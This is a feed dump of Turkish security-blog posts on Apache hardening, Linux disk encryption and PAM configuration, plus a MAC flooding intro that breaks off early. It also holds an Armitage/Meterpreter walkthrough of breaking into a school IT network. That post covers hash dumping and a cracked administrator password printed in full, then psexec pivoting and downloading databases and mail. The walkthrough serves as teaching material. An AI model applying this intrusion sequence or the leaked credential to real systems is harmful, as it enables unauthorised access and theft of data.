screenshot_14

Apache KeepAlive özelliğinin ayarlanması

            Bu özelliğin dikkat edilmesi gereken önemli bir noktası bulunmaktadır. DoS saldırılarına karşı önlem alırken performanstan önemli ölçüde ödün verebilirsiniz. Apache dokümantasyonuna göre bu özellik istemci performansını %50 oranında azaltmaktadır. Bu yüzden ayarları değiştirirken dikkatli olmakta fayda var.

            Öncelikle apache2.conf dosyamızı açalım.

7

            ‘MaxKeepAliveRequests 100 ’ ve ‘KeepAliveTimeout 5 ’ yazan satırlardaki değerleri dilediğiniz şekilde değiştirebilirsiniz.

screenshot_42

Apache log kayıtlarının incelenmesi

            Apache işletim sistemine kurulumundan sonra yaşanan sorunların kullanıcıya bilgi vermesi için bir kaydını tutar. Aslında sadece Apache için değil kurulan bütün eklentilerin log kayıtlarına linux işletim sisteminde ulaşabiliriz.

            Bu kayıtlar sunucuda yaşanan problemler hakkında bize detaylı bilgi vermektedir. Bu kayıtları düzenli bir şekilde incelemek sunucu güvenliğini sağlamanızda faydalı olacaktır.

            Apache’ nin log kayıtları /var/log/apache2 dizinin altında tutulmaktadır. Genellikle error_log veya error.log isimli dosyalarda kayıt altına alınmaktadır. Terminalden veya editörle bu dosyaları açarak bilgi edinebilirsiniz.

screenshot_12

screenshot_32

screenshot_22

Apache FileETag özelliğinin kapatılması

            Apache Etag özelliği birçok hassas bilgiyi istemciye aktarabilmektedir (inode sayısı, Mime Type ve ChildProcess header gibi). Etag bilgilerinin saldırganlar tarafından kullanılmaması için kapatmanızı tavsiye ederiz.

            Bunun için apache2.conf dosyasına ‘FileETag None’ satırını eklemeniz yeterli olacaktır.

7

            FileETag None

screenshot_19

            Yazımızın sonuna gelmiş bulunmaktayız. Bu yazımızda sizlerle Apache nedir?, Kurulumu nasıl yapılır? ve Apache sunucusu nasıl daha güvenli bir hale getirilir? konularını inceledik.


TR | Apache Hardening CanYouPwnMe

]]>
https://canyoupwn.me/tr-apache-hardening/feed/ 0
TR | Linux Disk Güvenliği https://canyoupwn.me/tr-linux-disk-guvenligi/ https://canyoupwn.me/tr-linux-disk-guvenligi/#respond Mon, 24 Oct 2016 10:48:49 +0000 https://canyoupwn.me/?p=4288 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Linux sistemlerde disk güvenliğini sağlamak için alınması gereken önlemlerden ilki klavyenizi başkasına teslim etmemek olmalıdır. Bilgisayarınıza fiziksel erişim sağlanırsa ne kadar sağlam bir password’e sahip olursanız olun saldırgan  hard diskinizi başka bir bilgisayara takarak da erişim sağlayabilir. Disk yani veri güvenliği için kişisel bilgisayarın fiziksel güvenliğinin tüm teknik önlemlerden önce geldiği unutulmamalıdır. Sonrasında ise disk […]

TR | Linux Disk Güvenliği CanYouPwnMe

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Linux sistemlerde disk güvenliğini sağlamak için alınması gereken önlemlerden ilki klavyenizi başkasına teslim etmemek olmalıdır. Bilgisayarınıza fiziksel erişim sağlanırsa ne kadar sağlam bir password’e sahip olursanız olun saldırgan  hard diskinizi başka bir bilgisayara takarak da erişim sağlayabilir. Disk yani veri güvenliği için kişisel bilgisayarın fiziksel güvenliğinin tüm teknik önlemlerden önce geldiği unutulmamalıdır.

crypto_image

Sonrasında ise disk şifreleme teknolojisi kullanılarak verilerinizi izinsiz erişimlerden koruyabilirsiniz. Disk encryption, network üzerinden gelen saldırılara karşı bir korunma yöntemi değildir. İnternete bağlı olduğumuz her an zararlı bir yazılım indirebilir veya zararlı bir siteye giriş yapabiliriz. Yani diski şifrelemek aslında verileri sadece fiziksel erişimlere karşı korur. Disk parolasını oluştururken yapay zeka yardımıyla tahmin edilemez, güçlü ve aynı zamanda akılda kalıcı olmasına dikkat edilmelidir. Tüm güvenlik önlemlerini aldınız ve diskinizi sağlam bir parola ile koruyorsunuz. Acil bir durum olduğunda ve bilgisayarınızın başından kalkmanız gerektiğinde belli bir süre sonra aktifleşen bir ekran kilidiniz yoksa aldığınız tüm önlemleri çöpe attınız demektir.

Disk encryption, çeşitli side channel attack’lara karşı zafiyetlidir. Örneğin bilgisayar kapatıldığında kısa süreliğine RAM içinde bulunan bilgilere RAM’inizi fiziksel olarak ele geçiren birisi başka bir bilgisayara takarak ulaşabilir. Bu işlemi RAM içindeki verinin kaybolma süresini uzatmak için RAM’i fiziksel olarak dondurarak gerçekleştirdiğinden saldırı cold boot attack olarak adlandırılır.

Linux sistemlerde disk encryption işlemi sistem kurulumunda veya sonrasında yapılabilir. Kurulum aşamasında disk encryption yapmak için usb stick veya dvd’den boot işlemini başlattıktan sonra kurulum talimatlarını takip ederek kolaylıkla yapılabilirsiniz.

k-key

k-encryption

Kurulum esnasında diski şifrelediğimizde işletim sistemi çalışmadan önce doğru encryption key girilerek diski aktif hale getirilir. Kurulum tamamlandıktan sonra disk unlocked olmadan önce bilgisayar çalışmayacaktır.

enter-key

Kurulum sırasında yapmayı unuttup sonradan fikrinizi değiştirdiyseniz de Linux tabanlı işletim sistemleriyle gelen Linux Unified Key Setup (LUKS)’tan faydalanabilirsiniz.

Linux makinelerde disk şifreleme işlemi için dm-crypt (device-mapper crypto target) özelliğini LUKS ile birlikte kullanacağız. Dm-crypt, aygıtların şifrelenmesini kernel crypto API kullanarak sağlar.

LUKS yardımıyla şifreleme yapmak için cryptsetup yardımcı programını indirelim.

Debian/Ubuntu kullanıcıları için;

apt-get install cryptsetup

Disk üzerinde herhangi bir işlem yapmadan önce sistemin yedeğini almayı unutmayalım. Yedek aldıktan sonra /dev/sdb diskini şifreleyelim.

sudo cryptsetup -y -v luksFormat /dev/sdb

encrypt-disk

luksOpen, doğru password girildiği takdirde şifrelenmiş disk bölümünü açar ve verilen yeni isim ile bir mapping oluşturur.

open-disk

ls -l /dev/mapper/cryptdisk

komutu ile oluşturduğunuz mappingi görebilirsiniz.

Dosya sistemini oluşturup diğer sistemlerde olduğu gibi diski mount ediyoruz.

mkfs.ext4 /dev/mapper/cryptdisk

ext4-disk

mount /dev/mapper/cryptdisk /data

mount-disk

Son olarak şifrelenmiş diski luksClose ile kapatabilirsiniz.

cryptsetup luksClose /dev/mapper/cryptdisk

close-disk

Linuc sistemlerde disk güvenliğini sağlamak için ekstra bir güvenlik önlemi için fstab biçimlendirme dosyasını kullanabiliriz. Fstab işletim sisteminizin değiştirilebilir bir dosya sistemi tablosudur. Sabit disk bölümlerini sisteme bağlama (mount) işleminin otomatik olarak gerçekleşmesini sağlayan ayar dosyasıdır. Mount işlemi, diskteki bir bölümün dosya sisteminde oluşturulan başka bir dizine bağlanma işlemidir. Böylece disk bu dizin üzerinden erişime açılmış olur.

etc_fstab_output

fstab dosyasında belirtilen bağlanma noktası diskin varsayılan bağlanma noktasıdır. Yani herhangi bir bağlanma noktası verilmeden mount komutu çalıştırılırsa dosya içinde tanımlı olan bağlantı noktası geçerli olur.

Bağlama işlemini alışılmışın dışında başka bir dizine yaptığımızda ilk denemede ele geçirilememiş olacaktır. Böylece ekstra bir güvenlik önlemi almış ve zaman kazanmış oluruz. Kullanıcıların home dizinini bir disk bölümüne bağlamak için fstab dosyasına /dev/sdc /home ext4 defaults,nosuid,noexec 1 2 satırını ekleyelim.

/dev/sdc : aygıt ismi

/home : bağlanma noktası

ext4 : bağlanacak dosyanın türü

defaults, nosuid, noexec : nosuid ile home dizinine suid erişimine izin verilmez. noexec ile binary dosyaların çalışması engellenir.

1 : dump alanı. 1 ve 0 değerlerini alır. Yedekleme yapılıp yapılmayacağını belirtir.

2 : yeniden başlatılan sistemlerde denetimdeleri belirler. 0 denetim yapmaz. 1 root için, 2 ise diğer dizinler içindir.

echo "/dev/sdc2 /home ext4 defaults,nosuid,noexec 1 2 " >> /etc/fstab 

daha sonra

mount - a

 

komutu ile diski bağlayabilirsiniz.


TR | Linux Disk Güvenliği CanYouPwnMe

]]>
https://canyoupwn.me/tr-linux-disk-guvenligi/feed/ 0
TR | Linux PAM Modülü https://canyoupwn.me/tr-linux-pam-modulu/ https://canyoupwn.me/tr-linux-pam-modulu/#respond Thu, 29 Sep 2016 06:30:25 +0000 https://canyoupwn.me/?p=4221 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

PAM (Pluggable Authentication Modules), servislere göre farklı kimlik denetleme yöntemleri belirleyebilmeyi sağlayan bir sistemdir. Linux dağıtımlarında kullanıcı bilgisi /etc/passwd dosyasında saklanır. Bu metin dosyasında kullanıcının kullanıcı adı, şifrelenmiş parolası, benzersiz sayısal kullanıcı kimliği (uid), sayısal grup kimliği (gid), seçimlik yorum alanı (kullanıcının gerçek adı, telefon numarası vb. bilgiler), ev dizini ve tercih ettiği kabuk bilgileri bulunur. Bir […]

TR | Linux PAM Modülü CanYouPwnMe

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

PAM (Pluggable Authentication Modules), servislere göre farklı kimlik denetleme yöntemleri belirleyebilmeyi sağlayan bir sistemdir.

Linux dağıtımlarında kullanıcı bilgisi /etc/passwd dosyasında saklanır. Bu metin dosyasında kullanıcının kullanıcı adı, şifrelenmiş parolası, benzersiz sayısal kullanıcı kimliği (uid), sayısal grup kimliği (gid), seçimlik yorum alanı (kullanıcının gerçek adı, telefon numarası vb. bilgiler), ev dizini ve tercih ettiği kabuk bilgileri bulunur.

Bir sistemde gölgelenmiş parolalar aktif edildiğinde  /etc/passwd  dosyasındaki parola alanına x yazılır.

passwd

 

Kullanıcının gerçek şifrelenmiş parolası  /etc/shadow  dosyasında saklanır.

shadow

Login veya su gibi programlar parolaları nasıl doğrulayacaklarını nereden bildiğini veya sistemdeki parolaların saklanma biçimini değiştirirseniz neler olacağını öğrenmek için PAM e bakalım.

PAM belirli programların kullanıcı kimlik kanıtlaması yapamayacağı, sadece belirli kullanıcıların kimlik kanıtlaması yapabileceği, bazı programlar kimlik kanıtlaması yapmak istediğinde uyarı verecek şekilde ve hatta tüm kullanıcıları oturum açma ayrıcalıklarından mahrum bırakacak şekilde yapılandırılabilir.

PAM, iki bileşenden oluşmaktadır:

  • Biri API ( Application Programming Interface – Uygulama Programlama Arayüzü ) sağlar.
  • Diğeri kimlik denetimini gerçekleştirir.

PAM modülleri 4 farklı görev için kullanılmaktadır. Bu görevler;

  • kimlik denetim yönetimi,
  • hesap yönetimi,
  • oturum yönetimi
  • şifre yönetimi.

Önemli pam modülleri ; pam_unix, pam_nologin, pam_ldap, pam_securetty, pam_limits, pam_access, pam_warn, pam_deny, pam_permit olarak sayabiliriz.

 

Pam_limits modülünü inceleyecek olursak;

limitconf

Kişi / Grup : @student – user

Kısıtlama : soft – hard

Kaynak : core – rss – nproc

Değer : 0 – 100000 – 20 – 50

Tanımlamalar ;

core : Core dosyasının boyutu (KByte)

data : Kullanıcının çağırdığı programlarda ayrılacak maksimum hafıza (KByte)

fsize : Kullanıcı en büyük kaç KB’lık dosya yaratabilir.

nofile : Aynı anda açılabilecek dosya sayısı.

nproc : Maksimum uygulama sayısı.

rss : KByte cinsinden hafıza kaplacak yer.

maxlogins : Sisteme aynı anda kaç kere login olabilir.

soft : kullanıcı kendine göre tanımlayabilir.

hard : son limitler, kullanıcılar değiştiremez.

NOT : @ işareti grubu ifade eder, “*” ise tümü demektir.

 

 PAM yapılandırması

  • Her servis için ayrı olan yapılandırma dosyaları /etc/pam.d dizini altında olmalıdır.etcpam

 

  • Tüm yapılandırma tek bir dosyada tutulur ve bu dosya  /etc/pam.conf dosyasıdır.etcpamconf

 

PAM SSH Servisi Konfigürasyon Örneği

PAM, sunucunuza erişimi zorlaştırmanın ve ekstra güvenlik kuralları sağlamanın yollarından biridir. Sunucunuza hangi kullanıcıların erişebileceğini belirlemek için alternatif bir çözümdür.

sshd

  1.  PAM Modül Tipi

  • Auth : Kullanıcı doğrulama, kimlik denetetimi yapar.
  • Account: Kullanıcının sisteme girebileceği saatlerin belirlenmesi, bir kullanıcının en fazla kaç oturum açabileceği gibi bilgileri kontrol eder. Kullanıcının servise erişmeye izni olup olmadığını, parolasının süresinin geçip geçmediğini tespit eder.
  • Session:Kullanıcının oturumu sırasında ve oturum sonrasında yapılması gereken rutin işlemleri kontrol eder. (şifre kaydetme, mount etme vs.)
  • Passwd:Kullanıcının kimlik denetimi verilerinin güncellenmesini denetler.

 

  1. PAM Kontrol Bayrağı – Denetim:

  • Required:PAM kimlik kanıtlamasını reddetmeden önce bu servis için listelenmiş diğer modülleri denemeye devam etse de; sonuç kimlik kanıtlamasının reddi ile başarısızlık olur.
  • Requisite:“required” seçeneğinden  farklı olarak, eğer bir modül başarısız olursa işlemin başarısız olduğu uygulamaya hemen bildirilir. Derhâl reddedilir.
  • Sufficient:“Sufficient”, kontrol bayrağına sahip bir modül başarılı olduğu takdirde, önceki modüllerde başarısız olsa bile, işlemin başarılı olduğu uygulamaya bildirilir.
  • Optional:“Optional” kontrol bayrağına sahip bir modülün başarısı veya başarısızlığı işlemin başarısını etkilememektedir.

 

  1. PAM Modül Dosyalarının Yeri:

  • PAM modülünün sistem içindeki yerini, dizinini belirtir. PAM, hangi modülü kullanacağını ve modülleri nerede bulacağını burada verilen yol sayesinde bilir. Çoğu yapılandırma sadece modülün adını içerir. Böyle durumlarda, PAM öntanımlı PAM modül dizinine bakar, bu normalde/usr/lib/security

 

  1. PAM Arguments (Modül Argümanları):

    Modüle gönderilecek olan argümanlar, modüllerin parametreleridir. Her modülün, kendi parametresi vardır. Örnek olarak; en çok kullanılan modüller şu şekilde sıralanabilir.

pam_unix.so temel kimlik kanıtlama modülüdür. Bu modüle “null ok” parametresi gönderilirse, boş parola geçerli anlamına gelir.
pam_warn.so sistem günlüklerine uyarı mesajı kaydeder.
pam_deny.so kimlik denetimini reddeder.
pam_rootok.so kimlik denetimi yapılırken kullanıcının root olup olmadığını kontrol eder.
pam_securetty.so  kullanıcının güvenli konsola oturum açtığından emin olmayı sağlar.
pam_lastlog.so  kullanıcının en son açtığı oturum ile ilgili bilgileri getiren modüldür.

 

Sudo Komutunun Engellenmesi

Linux işletim sistemlerinde root olarak eylem yapabilmeyi sağlayan sudo komutu /etc altındaki “sudoers” dosyasında yapılan değişikliklerle engellenebilir.

Sudoers dosyasının içerisindeki; sudo komutunun çalışmasını sağlayan satırın önündeki yorum işareti kaldırılırsa, sudo komutunu çalıştırma izni sadece “wheel” grubundaki kullanıcılara verilmiş olur.

# wheel    ALL=(ALL)    ALL

etcsudoers

NOT: Kullanılan linux dağıtımında böyle bir yorum satırı olmayabilir, böyle durumlarda satır dosyaya eklenmelidir.

 

Örnek Senaryo: Root hariç diğer kullanıcıların belirli zamanlarda login işlemini yapabilmelerine izin verelim.

Bu erişim yetkilendirme için bize zaman kısıtlamaları sunan pam_time modülünü kullanalım. Pam_time modülü yapılandırma dosyası /etc/security  altındaki  time.conf dosyasıdır.

Not: Başka yollar denemek isterseniz pam_time’a benzeyen pam_access ve  pam_listfile modüllerine bakabilirsiniz.

Aşağıda görüldüğü gibi time.conf dosyasında,

login ; tty* & !ttyp* ; !root ; !WdSu0000-2400

login islemi için root hariç diğer tüm kullanıcılar haftanın pazar günü hariç giriş yapılabilsin, demek istiyorum. Hangi gün istiyorsanız WdMo, WdSa  şeklinde Wd(weekend) ve günün ilk 2 harfi şeklinde veya tüm zamanlar için Al şeklinde yazabilirsiniz.

timeconf

Ayrıca /etc/pam.d altında login dosyasına ek olarak account satırı ekliyoruz.

tmmm

Ve komut satırından deneme kullanıcısı için login olmak istediğimizde erişim kısıtlamasıyla karşılaşıyoruz.

permissndenied

Kaynaklar:

http://linux.die.net/man/5/time.conf

http://linux.yorenet.com/?hn=483&kn=241&dil=tr&kw=Daha+Guvenli+SSH+Baglantilari

http://dincer.info/yazi/linux-pam-ile-kimlik-denetimi


TR | Linux PAM Modülü CanYouPwnMe

]]>
https://canyoupwn.me/tr-linux-pam-modulu/feed/ 0
TR | Armitage&Meterpreter Kullanımı https://canyoupwn.me/tr-armitage-meterpreter-kullanimi/ https://canyoupwn.me/tr-armitage-meterpreter-kullanimi/#respond Fri, 02 Sep 2016 10:33:16 +0000 https://canyoupwn.me/?p=4173 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

METERPRETER : UYGULAMALI SIZMA SENARYOSU Bu yazıda armitage aktif olarak nasıl kullanılabilir, sistemlere nasıl sızılabilir ve en önemlisi Post Exploitation olarak neler yapılabilir bunlar incelenecektir ve uygulamalı olarak gösterilecektir. Biz bu senaryoyu kendi okulumuzda B.İ.M (Bilgi İşlem Merkezi) departmanına uyguladık. Öncelikle saldırdığımızın ağın topolojisini çıkardık ve adımlara başladık. Senaryonun Açıklaması; BİM(Bilgi işlem merkezi) sunucu bilgisayarlarından […]

TR | Armitage&Meterpreter Kullanımı CanYouPwnMe

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

METERPRETER : UYGULAMALI SIZMA SENARYOSU

Bu yazıda armitage aktif olarak nasıl kullanılabilir, sistemlere nasıl sızılabilir ve en önemlisi Post Exploitation olarak neler yapılabilir bunlar incelenecektir ve uygulamalı olarak gösterilecektir. Biz bu senaryoyu kendi okulumuzda B.İ.M (Bilgi İşlem Merkezi) departmanına uyguladık. Öncelikle saldırdığımızın ağın topolojisini çıkardık ve adımlara başladık.

Ekran görüntüsü_2016-08-15_15-04-54

Senaryonun Açıklaması;

BİM(Bilgi işlem merkezi) sunucu bilgisayarlarından Endüstüri Müh. Proje Yönetimi sunucusu bulunmaktadır. Bu sunucu bilgisayarı güncellemelerden uzaktır. Üzerinde BİM’e dair bir program çalışmadığı için güvenlik önlemleri ihmal edilmiştir. Bu sunucu bilgisayarı daha önce açılmış olup şu an kullanılmadığı için bilgisayar üzerinde bulunan kullanıcı hesaplarından bir tanesini aynı zamanda diğer bilgisayarlarda kullanmaktadır. BİM’in işlerin yoğunluğundan dolayı hızlı bir şekilde ulaşabilme amacıyla BİM ağındaki bilgisayarlara ait varsayılan (başlangıç) değerlerini masaüstünde tutmaktadır. Daha önce bilgisayarı yenilenen BİM (okulun veri tabanı yöneticisi) önem vermediği giriş bilgilerini değiştirmemiştir. Bu sayede oradan alınan Administrator bilgileri ile diğer bilgisayara giriş sağlanmak amaçlanmıştır.
Amaç; Veri tabanı sunucusu bilgilerine erişmek, dolayısı ile veri tabanında bulunan verilere erişmek, fakat önce sunucu erişim bilgilerinin edinilmesi gerekmektedir.

 

İzlenecek Adımlar;

  • Ağı taranacak, hangi cihazların ayakta olduğu ve hangi işletim sistemlerinin kullanıldığı tespit edilecek.
  • Bazı işletim sistemlerinin bilinen açıklıkları bulunabilir, bu açıklıklar denenecek.
  • Sızılan bilgisayarlardan kullanıcılara ait hesap özetleri (hash) alınacak
  • Alınan hash’ler diğer sistemlerde denenecek.
  • Başarılı girişlere, oturum açma denenecek ve bilgi toplanmaya çalışılacak.

 

Senaryonun Uygulanması

Bilgisayar Kali Linux işletim sistemi ile başlatılır.

  •  Gerekli olan servisler başlatılır;
service postgresql start
service metasploit start
Armitage
  • Hangi ağda bulunulduğu tespit edilir, IP adresine bakılarak bu bilgi edinilebilir.

 

ekran-goruntusu_2016-08-15_15-04-54

 

Saldırgan İP Adresi
IP adresi ETH(Kablolu ağ) 10.10.208.85, WLAN(Kablosuz ağ) 10.10.122.202, taranması gereken ağ 10.10.20/24(BİM Sunucu Bilgisayarları) olacaktır.

  • Armitage ara yüzünden faydalanarak ağda hangi IP’lerin ayakta olduğu ve hangi işletim sistemi ile çalıştığı tespit edilir.

Ekran görüntüsü_2016-08-15_15-04-54

Quick Scan (OS detect) seçildiğinde, ekrana gelecek olan pencerede taranmak istenilen ağ bilgisi girilir.

Ekran görüntüsü_2016-08-15_15-04-54

Armitage Saldırılacak Ağ Taraması – 2

Ve sonucunun ekran alıntısı;

Ekran görüntüsü_2016-08-15_15-04-54

Armitage Saldırılacak Ağın Bilgisayarları – 1

Tarama sonucu elde edilen hedefler böyle üst üste görünür ise, hedef panelinde sağ tıklanıp Layout -> Stack seçeneği tıklanır.

Ekran görüntüsü_2016-08-15_15-04-54

Armitage Saldırılacak Ağın Bilgisayarları – 2

Artık hedefler bir dizi halinde görünecektir.

  • Hedeflerin üzerlerine gelerek işletim sistemlerini belirten bildirim yazısını görülmeye çalışılır, aranılan şey eski bir işletim sistemi. Mesela XP.

 

ekran-goruntusu_2016-08-15_15-04-54

Armitage Saldırılacak Ağın Bilgisayarları – 3

  • Bu işletim sisteminin IP değeri; 10.10.2.249 şimdi bu hedef tıklanıp, Armitage menüsünden Attacks -> Find Attacks seçenekleri takip edilir.

 

ekran-goruntusu_2016-08-15_15-04-54

Armitage Saldırılacak Ağ’a Otomatik Exploit Bulma – 1

Hedefin işletim sistemi ve Service Pack değeri göz önüne alınarak bir takım exploitler önerilecektir. Bu arama işlemi devam ederken ki ekran görüntüsü.

ekran-goruntusu_2016-08-15_15-04-54

Armitage Saldırılacak Ağ’a Otomatik Exploit Bulma – 2

Ve tarama bittiğinde ekrana bastırılacak olan bildirim penceresi.

ekran-goruntusu_2016-08-15_15-04-54

Armitage Saldırılacak Ağ’a Otomatik Exploit Bulma – 3

  • Şimdi hedefe sağ tıklanıp, Attack menüsünden başarı oranı yüksek bir expoit seçilir.

Ekran görüntüsü_2016-08-15_15-04-54

Armitage Saldırılacak Ağ’ın Açığını Kullanma

Bu exploit seçildiğinde ekrana bastırılacak olan pencere.

ekran-goruntusu_2016-08-15_15-04-54

Armitage Saldırılacak Ağ’ın Ayarları

Bu exploit için genelde bir ayarlama yapmak zorunda kalınmaz, çünkü başarılı bir exploit olarak tanınmaktadır. Ama her expoit için aynı şey geçerli değildir. Bazen dinleme portunun, bazen kullanılan payload’ın değiştirilmesi gerekir. Exploit çalıştırılır. Başarılı bir exploit sonrası exploit için açılan konsolda görülmesi gerekenler ve hedefin simgesindeki değişiklik.

ekran-goruntusu_2016-08-15_15-04-54

Armitage Saldırılacak Ağa Başarılı Giriş

  • Artık hedefe sızılmış, meterpreter oturumu açılmıştır. Şimdi sızılan sistemden veri toplamaya çalışılacaktır. Hedefle daha iyi etkileşim için meterpreter oturumu etkinleştirilir.
    Sağ tık -> Meterpreter 1 -> Interact -> Meterpreter Shell

Ekran görüntüsü_2016-08-15_15-04-54

Armitage Saldırılan Ağ’da İşlemler

Hedefe sağ tık -> Meterpreter 1 -> Access -> Dump Hashes Isass method (Her işletim sistemi için Dump Hashes Isass method başarı ile sonuçlanmayabilir)

Ekran görüntüsü_2016-08-15_15-04-54

Armitage Saldırılan Ağ’da Şifre Bulma

Ve kullanıcı hesaplarına ait özetlerin görüntüsü

Ekran görüntüsü_2016-08-15_15-04-54

Armitage Saldırılan Ağ’da Bulunan Kullanıcı ve Şifresi

Burada kırmızı çerçeve içerisine alınan kullanıcı bilgileri genel bir kullanıcıya benziyor. Buradaki kullanıcı adıyla diğer bilgisayarlara giriş yapılabilir.
Not: Buradan sonra kullanıcı hesapları üzerinden ilerlemek adına birbirinden farklı yollar mevcut,

  • Şifreleri kırılmaya çalışılabilir
  • Elde edilen bilgiler, tüm ağdaki bilgisayarlara girmek için kullanılabilir.

Sızılan bilgisayarda bulunan dosyalar incelenmeye başlanır. Bunun için izlenilecek yol

Hedefe sağ tık -> Meterpreter 1->Explore -> Browse Files
Sonrasındaki ekran çıktısı ile birlikteki alıntı.

Ekran görüntüsü_2016-08-15_15-04-54

Armitage Saldırılan Ağ’da Dosya Gezintisi – 1

 Daha sonra “C:\Documents and Settings\” dizinine geçilir. İlgi çeken bir dosya olursa sağ tıklanıp indirilir.

Ekran görüntüsü_2016-08-15_15-04-54

Armitage Saldırılan Ağ’da Dosya İndirme – 1

İndirme tamamlandığındaki ekran alıntısı

Ekran görüntüsü_2016-08-15_15-04-54

Armitage Saldırılan Ağ’da Dosya İndirme – 2

İndirilenlere ulaşmak için;

Ekran görüntüsü_2016-08-15_15-04-54

Armitage Saldırılan Ağ’da İndirilen Dosyaları Görüntüleme

  • Bu bilgisayardan kullanıcı hesap özetlerinden başka bir şey çıkmadı. Şifreler kırılmaya çalışılır. Toplanılan kullanıcı bilgilerinin özetlerini görüntülemek için,

 

ekran-goruntusu_2016-08-15_15-04-54

Armitage Saldırılan Ağ’da Hashlenmiş Şifreyi Çözme – 1

ekran-goruntusu_2016-08-15_15-04-54

Armitage Saldırılan Ağ’da Hashlenmiş Şifreyi Çözme – 2

ekran-goruntusu_2016-08-15_15-04-54

Armitage Saldırılan Ağ’da Hashlenmiş Şifreyi Çözme – 3

Administrator:12Qwaszx şifre alınmıştır.
10- Şimdi 10.10.2.52(EBABİL) sunucuna metasploit psexec oturumu açmayı deneyip, başarılı olunduğunda meterpreter oturumu açılmaya çalışılacak. Hedefe sağ tıklayıp
Login -> psexec modülü seçilir.

ekran-goruntusu_2016-08-15_15-04-54

Armitage Bulunan Şifre İle Başka Ağlara Sızma – 1

ekran-goruntusu_2016-08-15_15-04-54

Armitage Bulunan Şifre İle Başka Ağlara Sızma – 2

Uyarı: “User everse connection” seçeneğini tıklanmaz ise payload oluşturulur ve karşıya gönderilir, sizin için çalıştırılır. Fakat, gelen bağlantı isteğini dinleyip yorumlayacak bir modül çalışmadığı için bu istek paketleri düşürülür.
Şimdi modüler çalıştırılır. Girişim başarılı olduğunda modül konsoluna dökülecek bildirim.

Ekran görüntüsü_2016-08-15_15-04-54

Armitage Bulunan Şifre İle Başka Ağlara Sızma – 3

Şimdi sızılan bilgisayar incelenmeye başlanır. Direk olarak E:// sürücüsüne gidip dosyalarına bakılabilir.

Ekran görüntüsü_2016-08-15_15-04-54

Armitage Bulunan Şifre İle Ebabil’e Erişim – 1

Ekran görüntüsü_2016-08-15_15-04-54

Armitage Bulunan Şifre İle Ebabil’e Erişim – 2

  • Artık son hamleyi yapmanın zamanı geldi. Eğer veri tabanı yöneticisi yani 10.10.2.35(ORACLE_HHO) bilgisayarına sızıp veri tabanına erişim bilgilerini elde edilebilirse senaryo tamamlanmış olacak. 10.10.2.52 Ebabil sunucusuna yapılan işlemler tekrarlanıp gerekli olan dosyalar indirilir. Son olarak indirilen dosyalar aşağıda görüldüğü gibidir.

Ekran görüntüsü_2016-08-15_15-04-54

Saldırılan Ağlardan İndirilen Veritabanları

Ekran görüntüsü_2016-08-15_15-04-54

Saldırılan Ağlardan İndirilen Mail Veritabanı

Ekran görüntüsü_2016-08-15_15-04-54

Saldırılan Ağlardan İndirilen Kütüphane Günlük Kayıtları

Ekran görüntüsü_2016-08-15_15-04-54

Saldırılan Ağlardan İndirilen Veritabanları – 2

Ekran görüntüsü_2016-08-15_15-04-54

Saldırılan Ağlardan İndirilen Log Kayıtları

Ekran görüntüsü_2016-08-15_15-04-54

Saldırılan Ağlardan İndirilen Ebabil Dosyaları

TR | Armitage&Meterpreter Kullanımı CanYouPwnMe

]]>
https://canyoupwn.me/tr-armitage-meterpreter-kullanimi/feed/ 0
TR | Content Addressable Memory Attack with MAC Flood https://canyoupwn.me/content-addressable-memory-attack-with-mac-flood/ https://canyoupwn.me/content-addressable-memory-attack-with-mac-flood/#respond Sat, 20 Aug 2016 17:45:33 +0000 https://canyoupwn.me/?p=3872 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Merhabalar, Bu konuda MAC Adresleri, Switchler ve Switchlerdeki MAC Tablosu üzerinde duracağız. Daha sonrada bu tabloya bir saldırı olduğunda switchin nasıl çalıştığını öğreneceğiz. Tabi bunu LAB ortamında anlatılması daha yararlı olur fakat kendi imkanlarımızca öğreneceğiz. İlgili konuyu kavramamız için öncelikle bilmemiz gerekenler;  MAC adresi nedir ?  Hub nedir ?  Switch nedir ?  Switching Nasıl Gerçekleşir […]

TR | Content Addressable Memory Attack with MAC Flood CanYouPwnMe

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Merhabalar,

Bu konuda MAC Adresleri, Switchler ve Switchlerdeki MAC Tablosu üzerinde duracağız. Daha sonrada bu tabloya bir saldırı olduğunda switchin nasıl çalıştığını öğreneceğiz.
Tabi bunu LAB ortamında anlatılması daha yararlı olur fakat kendi imkanlarımızca öğreneceğiz.
İlgili konuyu kavramamız için öncelikle bilmemiz gerekenler;

  •  MAC adresi nedir ?
  •  Hub nedir ?
  •  Switch nedir ?
  •  Switching Nasıl Gerçekleşir ?
  •  Switchlerdeki Content Addressable Memory Ne işe Yarar ?

Bu gibi soruların cevaplarını öğrenmemiz gerekiyor.

 

MAC Adresi Nedir ?

MAC adresi ağa bağlanabilen her bir cihazın Ağ arayüzüne üretici tarafından atanan eşsiz bir adrestir. Bu adres bilgisi ROM da tutulmaktadır. MAC adresleri Ethernet gibi birçok ağ teknolojisi tarafından kullanılmaktadır. MAC adresinin amacı LAN veya başka bir ağ üzerinde her bir cihaz için benzersiz bir adres bilgisine sahip olmasıdır. Bir cihaz ağa bağlandığında bu cihaza ip adresi atanır ve cihazın fiziksel adresi ile ona karşılık gelen ip adresi bir taloda tutulur. MAC adresleri fiziksel adres olarak da adlandırılmaktadır. Burada bahsedilen tablo ARP tablosudur. Biz bugün Switch’deki MAC Tablosunu konuşacağız.

 

Hub Nedir ?

